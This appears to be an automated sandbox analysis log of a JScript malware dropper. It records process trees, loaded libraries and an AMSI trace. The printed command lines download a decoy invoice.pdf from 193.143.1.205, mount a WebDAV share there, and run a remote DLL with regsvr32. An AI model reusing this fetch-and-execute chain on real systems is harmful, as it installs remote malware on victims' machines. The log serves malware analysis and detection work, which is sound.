Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1608,i,15722058686658153493,8996251667160913984,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250981387332758.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1608,i,15722058686658153493,8996251667160913984,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6071.js.csv");ITextStream.WriteLine(" entry:7985 f:gvbmmvt");ITextStream.WriteLine(" exec:2 f:gvbmmvt");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
